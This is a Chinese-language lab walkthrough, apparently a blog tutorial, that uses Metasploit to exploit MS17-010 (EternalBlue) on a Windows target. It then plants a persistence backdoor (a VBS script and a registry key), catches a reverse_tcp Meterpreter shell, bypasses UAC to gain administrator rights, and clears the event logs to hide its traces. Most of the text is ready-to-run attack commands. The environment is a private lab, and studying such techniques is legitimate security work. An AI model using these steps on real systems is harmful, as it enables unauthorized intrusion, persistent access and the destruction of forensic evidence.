预备知识
当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统。如果目标用户破坏了该连接,例如 重新启动计算机,此时使用后门将允许自动重新与目标系统建立连接, 不必每次都需要进行攻击取得 metrpreter 。
实验环境
攻击机:kali-linux 192.168.200.147
靶机:永恒之蓝 192.168.200.133
实验过程
我们先用永恒之蓝的经典sm17-010漏洞获取靶机的shell。
msfconsole #进入msf控制台
search 17-010 #搜索模板
use 0
set rhost 192.168.200.133 #输入靶机ip
set lhost 192.168.200.147 #输入本机IP
run
获取shell后,我们切出shell界面,使用模板 exploit/windows/local/persistence (用于创建通过启动项启动。会创建注册表,创建文件)
background #切出shell界面并保留后台
search windows/local/persiste #搜索模块
use 1
set session 1 #设置session进程(如果不知道是几,可以输入sessions查看,sessions -i 1可以返回shell界面
run
执行结束后,会在靶机 的C:/windows/Temp/下建立一个vbs文件( 持久脚本 ),该脚本会 自动在靶机上运行,同时 添加注册表键值 ,如下 :
完成木马植入后,我们新开窗口,使用监听模板use exploit/multi/handler
use exploit/multi/handler
show options #查看配置
set lhost 192.168.200.147 #设置本机IP
set payload windows/meterpreter/reverse_tcp #设置负载系统
set lport 4444 #设置负载端口(额外注意这里的负载端口和前面植入木马的配置端口一致,默认是4444端口,如有变动按照上面的植入木马端口为准)
run
我们只需要重启靶机,不需要多余的操作,等待监听结果:
除此之外,我们还有可以提权的模块。例如exploit/windows/local/bypassuac_eventvwr
search bypassuac
use 7
set session 8 #这里的8,不一定是8,取决于你用sessions查询出你的挂载shell
run
这里显示我们已经是管理员用户了。那我们想删掉这些痕迹怎么办呢?可以使用clearev和resource 清除日志文件与删除持久化执行文件。
clearev
resource /root/.msf4/logs/persistence/WIN-JA4SR7L2AQ8_20240526.0159/WIN-JA4SR7L2AQ8_20240526.0159.rc
# 注意的是,这里的/root/.msf4/logs/persistence/WIN-JA4SR7L2AQ8_20240526.0159/WIN-JA4SR7L2AQ8_20240526.0159.rc 是我们前面生成木马的路径
可见效果: